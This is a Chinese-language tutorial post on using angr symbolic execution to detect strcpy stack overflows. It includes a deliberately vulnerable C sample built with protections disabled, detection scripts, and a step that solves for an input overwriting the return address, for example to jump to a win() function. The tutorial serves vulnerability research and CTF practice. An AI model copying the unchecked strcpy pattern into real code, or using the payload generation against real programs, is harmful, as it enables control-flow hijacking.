尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

用angr检测strcpy栈溢出:从返回地址污染到payload构造

用angr检测strcpy栈溢出:从返回地址污染到payload构造 如果你也和我一样在 CTF 或者固件分析里碰到过一串strcpy(buf, input)第一反应是“这必有栈溢出”但真要去定位偏移、构造 payload又得在 IDA 里翻半天栈布局那这篇文章就是写给你的。我最近把“用 angr 找 strcpy 栈溢出漏洞”这件事做成了一套可复用的套路从漏洞检测到求解触发输入基本能一条龙跑完。angr 这种符号执行工具对付 strcpy 这种“无边界复制”的典型函数效果比我预想中好很多尤其是当函数栈帧比较复杂、光靠肉眼看不出距离返回地址差多少字节的时候。这套方法的核心思路不复杂strcpy 会把源字符串一个字节一个字节地拷到目标缓冲区如果输入是符号化的那么复制过去的内容天然就是“受输入控制的符号字节”。一旦这些符号字节覆盖到保存的返回地址那么在函数执行ret之前栈上返回地址就是一个符号表达式。angr 能直接判断这个表达式是否符号化、是否能被约束成任意目标地址。换句话说我们不需要手动数偏移只需要让 angr 告诉我们“返回地址有没有被输入污染”就够了。接下来我会把这个思路拆开给出能直接跑的检测脚本再讲清楚中间会遇到哪些坑。1. 为什么符号执行特别适合盯 strcpy1.1 strcpy 栈溢出的本质一场没有边界检查的复制在展开 angr 之前先把目标函数的行为说透。C 标准库的strcpy(dst, src)会从src地址开始逐字节复制直到遇到\0为止然后把\0也写到dst末尾。函数本身完全不感知dst指向的缓冲区有多大。这就是栈溢出的温床。典型的栈上布局从低地址到高地址大概是低地址 [局部变量区] [缓冲区 buf比如 64 字节] [saved rbp8 字节] [return address8 字节] [调用者栈帧] 高地址如果我们调用strcpy(buf, 超长字符串)复制内容会一路往上覆盖saved rbp再往后就会碰到return address。之后函数执行ret指令时CPU 会从栈上弹出这个被覆盖的地址写入 RIP程序的控制流就被劫持了。所以判断一个 strcpy 是否会构成可利用的栈溢出关键就看一点复制进栈的字符串长度有没有可能超过缓冲区起始位置到返回地址之间的距离。这个判定用手工做通常需要先确定buf的地址、函数栈帧大小、有没有 canary、编译器优化会不会改变布局。如果只有一个函数还好批量审计几十个二进制时这一个个人工看过去非常痛苦。1.2 传统审计方法的落差我一开始也试过几种常见办法。静态代码审计工具能报告“这里用了 strcpy”但误报率不低很多调用点实际上源字符串长度是被上层限制死的并不存在真实溢出。用 gdb 跑崩溃输入去验证倒是准确但前提是你得先有一个大致能触发溢出的输入这又回到了“手动构造输入”的循环。对于 CTF 题目还好换个真实世界的 stripped 固件函数符号和栈帧信息都丢了手动分析成本直接拉满。fuzz 是另一个思路但纯盲打 fuzz 找这类确定性溢出其实效率一般尤其当输入需要满足一定格式才能到达 strcpy 调用点时随机突变半天可能连路径都到不了。符号执行的优势在于它可以把输入当成符号而不是具体字节。strcpy复制完成后目标缓冲区乃至返回地址的内容就是符号表达式的组成部分。接下来“是否溢出”这个问题就变成“是否存在一组输入值使得返回地址位置的字节内容不等于原始值”也就是一个约束可满足性问题。angr 内置的求解器可以精确回答这个问题而且不需要预先知道缓冲区偏移。1.3 angr 解决这个问题的独特优势angr 有一个比较方便的点它把程序状态抽象成“寄存器 内存 约束”的组合。我们可以通过state.solver.is_symbolic(expr)判断某个寄存器或内存值是否还和符号输入相关。这种能力让“检测返回地址是否被输入控制”变成几行代码的事。打个比方普通调试器只能看到某个内存地址现在存的是0x41414141而 angr 能告诉你这个0x41414141是由输入的第几个字节拼出来的并且还能反向求解如果我想让这里变成0x4012ab输入应该是什么。这种“反向追问”能力就是我们后续构造 payload 的基础。当然符号执行不是万能的。路径爆炸、复杂 libc 函数建模、符号长度的分支处理都会成为问题。但针对 strcpy 栈溢出这种“污染路径清晰、边界条件简单”的场景正好是它的舒适区。2. 靶场准备一个标准的 strcpy 栈溢出样例2.1 漏洞程序原文与编译命令为了把方法讲清楚我准备了一个最小的漏洞样例逻辑非常简单先用read读 128 字节到tmp强制把最后一个字节置零再strcpy到 64 字节的buf。这样只要输入超过 63 字节并且没有提前出现\0就一定会发生栈溢出。// vuln.c #include stdio.h #include string.h #include unistd.h int main() { char buf[64]; char tmp[128]; read(0, tmp, 128); tmp[127] 0; strcpy(buf, tmp); return 0; }编译时我建议关闭 PIE、canary并且不要开优化gcc -no-pie -fno-stack-protector -O0 -g -o vuln vuln.c-no-pie是为了让函数的虚拟地址固定方便在 angr 脚本里直接填写ret指令地址。-fno-stack-protector是去掉 canary否则strcpy覆盖返回地址之前会先破坏 canary程序在ret前就会触发栈检查符号执行会多出一大堆约束。-O0是为了让栈布局直观优化器很容易把buf和tmp重排、复用栈空间虽然不影响 angr 检测但不利于我们理解中间过程。2.2 angr 环境与加载注意事项angr 的安装没什么特别的一个 pip 命令就能搞定pip install angr我目前常用的是 angr 9.x下面的脚本基于这个版本的 API 写的。不同版本之间有些接口细节差异但核心思想是一致的。加载二进制时有两件事值得注意。第一是auto_load_libsFalse。如果让 angr 自动加载系统 glibc它会尝试符号执行 libc 的内部代码尤其是 strcpy 的实现路径数量会非常可怕。关掉之后angr 会使用自带的 SimProcedure 模拟常见 libc 函数效率高很多。第二是要提前用objdump拿到目标函数ret指令的地址后面写检测条件时要用到objdump -d vuln | grep -A5 main我的测试环境里main的ret指令在0x4011e6附近。读者拿到自己编译的二进制后这个地址要以objdump实际输出为准不要直接照抄。3. 策略一让溢出自己“显形”——返回地址污染检测3.1 核心思路在 ret 执行前检查返回地址是否符号化第一种策略最直接也是最容易理解的一种。我们符号化标准输入约束它产生一个较长的字符串然后让 angr 一路执行到main函数的ret指令处。此时ret还没有执行栈顶rsp指向的值就是即将被弹入 RIP 的返回地址。我们检查这个值是不是符号化的如果是就说明复制过程已经污染到了返回地址。为什么必须在ret指令执行前检查这是我最初踩过的一个坑。一开始我图省事直接把find条件写成“运行结束且state.regs.rip是符号化”结果怎么跑都找不到。原因在于 angr 模拟ret指令时如果目标地址是符号值它会按所有可行解分裂状态并在新状态里把 RIP 设置为某个具体值。也就是说ret一执行完rip就不再符号化了。符号性在“弹出返回地址”这一步丢失掉了所以必须在它弹出之前从栈上抓取原始符号表达式。3.2 可运行的检测脚本检测脚本可以写成这样import angr import claripy proj angr.Project(./vuln, auto_load_libsFalse) # 构造 128 字节符号输入 inp claripy.BVS(inp, 8 * 128) # 创建入口状态标准输入就是这块符号内存 state proj.factory.entry_state(stdininp) # 约束输入前 127 字节非 0第 128 字节为 0 # 这样 strcpy 不会在中途遇到 \0 而提前停止 for i in range(127): state.solver.add(inp.get_byte(i) ! 0) state.solver.add(inp.get_byte(127) 0) # main 函数的 ret 指令地址以 objdump 为准 RET_ADDR 0x4011e6 def ret_check(s): if s.addr ! RET_ADDR: return False ret_expr s.mem[s.regs.rsp].uint64_t.resolved return s.solver.is_symbolic(ret_expr) pg proj.factory.simulation_manager(state) pg.explore(findret_check) if pg.found: found pg.found[0] print([] 发现栈溢出返回地址已被符号输入污染) else: print([-] 未发现栈溢出)下面对关键步骤做个说明。claripy.BVS创建了一个 128 字节的符号位向量相当于声明“标准输入有 128 个字节但内容未知”。entry_state(stdininp)把这个符号向量挂到模拟的标准输入上。然后我用循环约束前 127 个字节都不等于 0。这一步非常重要。strcpy 在复制时会逐个检查源字符是否为\0如果输入的前 127 字节里存在为 0 的可能angr 就会在每个字节处分裂出“等于 0停止复制”和“不等于 0继续复制”两条路径。不约束的话状态数量会指数级膨胀跑起来又慢又容易耗尽内存。约束完之后等于 0 的分支不可满足angr 会自动剪掉执行路径变得非常清晰。ret_check是explore的find回调。当状态到达RET_ADDR时s.regs.rsp指向返回地址在栈上的位置。s.mem[s.regs.rsp].uint64_t.resolved取出这 8 字节的符号表达式。如果is_symbolic返回 True说明返回地址已经是输入的某种函数栈溢出成立。3.3 这个策略的边界返回地址污染检测的好处是通用、简单不需要知道buf在栈里的具体位置。但它只能回答“有没有溢出”这个问题有几个短处也值得说清楚。第一它不能直接定位源头。如果函数里有多个strcpy或memcpy即使检测到返回地址被污染也没法知道到底是哪一个调用点造成的。第二它存在误报可能返回地址被污染不等于一定能被利用比如某些路径上的污染值不具备可控性或者被后续代码重新覆盖。第三如果函数在ret前还有其它写内存操作污染可能来自别处不一定是 strcpy。所以策略一适合做“快速筛查”帮我过滤掉大量没有栈溢出的函数。一旦筛查出可疑函数我需要策略二去精确测量每个 strcpy 调用的拷贝边界。4. 策略二hook strcpy精确测量拷贝边界4.1 为什么需要 hook 而不是等它执行完要精确定位漏洞源头就得盯住 strcpy 本身。angr 允许通过hook_symbol替换某个符号的执行逻辑我们可以自己写一个SimProcedure来接管 strcpy在它真正复制之前计算源字符串长度、目标缓冲区位置、距离返回地址的偏移然后判断是否存在越界可能。有人可能会问能不能在 strcpy 执行完之后扫描一下buf后方内存有没有被符号值覆盖理论上可行但需要知道缓冲区边界而且如果函数里还有其它写操作很难分清数据是谁写的。相比之下hook 的方式直接在每个 strcpy 调用点下手信息最干净。4.2 自定义 SimProcedure 的实现框架下面这段代码是核心检测器我故意保留了一些工程细节方便读者按自己的 angr 版本微调import angr import claripy proj angr.Project(./vuln, auto_load_libsFalse) class StrcpyChecker(angr.SimProcedure): def run(self, dst, src): state self.state # 先粗暴判断目标地址是否在当前栈帧内 try: dst_v state.solver.eval(dst) rsp state.solver.eval(state.regs.rsp) rbp state.solver.eval(state.regs.rbp) except angr.errors.SimSolverError: return # 地址无法求值直接放行 if not (rsp dst_v rbp): # 目标不在栈上比如拷贝到全局变量不属于栈溢出 # 这里可以选择继续执行原始 strcpy return # 用 strlen 过程求源字符串符号长度 strlen_proc angr.SIM_PROCEDURES[libc][strlen] len_expr self.inline_call(strlen_proc, src).ret_expr # 返回地址在 rbp8计算目标缓冲区到返回地址的距离 dist_to_ret (rbp 8) - dst_v # 是否存在让拷贝长度超过 dist_to_ret 的输入 can_overflow state.solver.satisfiable( extra_constraints[len_expr dist_to_ret] ) if can_overflow: call_site state.callstack.top.call_site_addr print(f[] 发现可疑 strcpy 调用点: {hex(call_site)}) print(f dst {hex(dst_v)}, 到 ret 的距离 {dist_to_ret}) max_len state.solver.max(len_expr) print(f 源字符串最大长度 {max_len}) # 真正执行 strcpy 的复制逻辑 # 工程上可以调用原始过程或手动 store(src - dst) 并写 \0 # 这里略过避免和具体 angr 版本耦合这段代码的核心判断是state.solver.satisfiable(extra_constraints[len_expr dist_to_ret])。len_expr是源字符串长度的符号表达式它不是一个确定的整数而是依赖具体输入。如果“长度大于缓冲区到返回地址的距离”这个约束有解就说明存在某一组输入能够让 strcpy 的拷贝覆盖到返回地址。这就是严格意义上的“可触发溢出”。4.3 理解max与satisfiable的区别这里值得展开讲讲state.solver.max(len_expr)和satisfiable之间的关系。max是求符号表达式在当前约束下的最大值代表“最坏情况下源字符串有多长”。satisfiable则是回答“是否存在一组赋值让这个条件成立”。在实践中我一般先用satisfiable判断存在性再用max拿到最坏长度做参考。如果max_len已经小于dist_to_ret那就不存在溢出可能如果max_len很大但satisfiable为假说明那些“很大”的值和当前路径的其他约束冲突实际无法同时满足。所以只看max有可能会误报两个配合使用更稳妥。4.4 保留原始 strcpy 行为最后一个问题检测完要不要继续执行复制要因为后面的代码可能依赖buf中的内容。但我们的目的只是检测最简单的做法是在判断之后以内联方式调用原始 strcpy 过程让状态内存保持一致。angr 的inline_call可以直接在当前状态上执行一个子过程不改变控制流。但如果你已经通过hook_symbol把 strcpy 替换成了StrcpyChecker再调用strcpy时不能直接走 hook 表否则会无限递归。可行的做法是保存原始过程类的引用或者手动用state.memory.store把src的内容写入dst再写入一个\0。手动模拟看起来啰嗦但能完全避开版本差异我在自己的脚本里就是这么干的。5. 从“检测”到“利用”让 angr 吐出一个真实触发输入5.1 在 found 状态上添加返回地址约束检测到返回地址被污染只是第一步。更爽的是我们可以让 angr 直接算出一份能触发溢出的真实输入。思路是回到策略一找到的那个状态此时栈上返回地址是一个符号表达式比如inp_12的某种组合。我只要给这个表达式加上一个约束让它等于某个目标地址然后让求解器反解输入字节即可。假设我们想验证控制流劫持把返回地址设成一个容易识别的值比如0x41414141if pg.found: found pg.found[0] # 希望返回地址变成的值 target_ret 0x41414141 ret_expr found.mem[found.regs.rsp].uint64_t.resolved found.solver.add(ret_expr target_ret) # 求解输入字节 payload found.solver.eval(inp, cast_tobytes) with open(payload.bin, wb) as f: f.write(payload) print(f[] payload 长度 {len(payload)} 已写入 payload.bin)这里inp就是我们最开始创建的那个 128 字节符号变量。found.solver.eval(inp, cast_tobytes)会在“满足返回地址等于0x41414141”的约束下给每个输入字节找一个可行值拼成字节串。这个字节串就是我们的触发输入。5.2 验证 payload 是否生效得到 payload 之后直接在 shell 里验证./vuln payload.bin如果没有意外程序会直接段错误。用 gdb 跑一下能看到 RIP 变成了0x41414141说明返回地址确实被覆盖。如果目标程序里有一个现成的后门函数比如win()我们也可以把target_ret设成win()的地址。这样 angr 解出来的输入不仅触发溢出还会直接把控制流引导到后门函数。这一招在 CTF 题目里非常实用相当于把“算偏移 构造 ROP”都省了。5.3 验证时的常见失败原因我不是第一次在这种环节翻车最典型的问题有三个。第一个是求解出来的 payload 里含有\x00。strcpy 遇到\x00会提前停止覆盖长度就不够了。解决办法是在符号化输入时约束关键字节不等于 0就像前面的脚本做的那样。第二个是 payload 里出现换行符\n如果程序内部用fgets读入换行会被当作输入结束后续字节根本不会被读进去。第三个是 PIE 开启时目标返回地址本身也是符号化的直接约束成固定地址会让求解器无解需要先关闭 PIE或者用相对偏移处理。6. 实战中容易翻车的几个坑和对应解决思路6.1 在 ret 之后检查 RIP 符号性的致命误判这是我认为最值得提醒的一点再强调一次。不要在ret之后试图用state.solver.is_symbolic(state.regs.rip)判断是否栈溢出。angr 在模拟符号跳转时会自动分裂状态并把 RIP 实例化成满足约束的具体值所以检查结果往往是 False。正确做法是在ret指令地址处检查rsp指向的栈内存是否符号化。这个细节决定了策略一的脚本能不能跑通。6.2 符号输入导致路径爆炸strcpy 的符号执行路径爆炸主要来源是它内部对每个源字符做\0判断。如果输入是自由符号每个字符都可能等于 0路径数量呈指数增长。解决办法是显式约束输入要么约束前若干字节非 0要么把整个输入长度固定成具体值。更极端的情况下可以先用符号执行跑一条可达路径再用具体输入回放但这会让分析流程复杂很多能提前用约束简化就提前简化。6.3 不要忽略 libc 模拟对结果的影响auto_load_libsFalse是 angr 分析这类程序时的关键开关。打开自动加载 libc 后angr 会尝试执行真实 glibc 代码里面不仅有复杂的字符串优化实现还有大量分支和内存访问分析起来非常吃力。关闭后 strcpy 会被 angr 的 SimProcedure 代替行为准确且开销小。要注意的是SimProcedure 的 strcpy 和真实 glibc 在某些边界条件上可能存在细微差别比如对超大字符串、重叠内存的处理但对我们判断栈溢出来说影响基本可以忽略。6.4 canary、PIE、RELRO 对符号执行的影响canary 对这类检测影响最大。如果函数有 canarystrcpy 覆盖返回地址之前必然会同时覆盖 canary 区域。angr 能检测到 canary 被污染但如果程序在ret前检查 canary 并通过__stack_chk_fail退出那么“返回地址被污染”的路径也可能被判定为不可行导致误报。实战中我的建议是先关掉 canary 跑通流程确认漏洞存在后再考虑真实利用时怎么泄露或绕过 canary。PIE 的影响稍微小一些angr 可以使用符号地址代替固定地址但求解复杂度会上升所以调试阶段尽量用-no-pie。6.5 这个思路能延伸到哪些场景这个检测思路不局限于strcpy。strcat、sprintf的%s、gets、memcpy等函数本质上都存在“源数据符号化地写入目标内存”的共同点。只要把检测条件从“strcpy 调用点”换成对应函数把边界判断改成对应语义就能复用同一套框架。甚至对堆溢出也可以把检测目标从“栈上返回地址”换成“堆块元数据是否被符号污染”但 angr 的堆模型需要额外验证不能直接套用。我在实际项目里的习惯是先写一个策略一那样的快速扫描脚本跑批量的 stripped 二进制筛出返回地址可能被污染的候选函数再用策略二的 hook 思路去定位具体调用点最后用约束求解生成一次真实触发输入在调试器里做最终确认。三步走下来既能保证召回率又能把误报降到可以接受的范围。这套流程我用了挺长时间在 CTF 题目和一些小型固件分析里都验证过稳定性和效率都还不错。
返回列表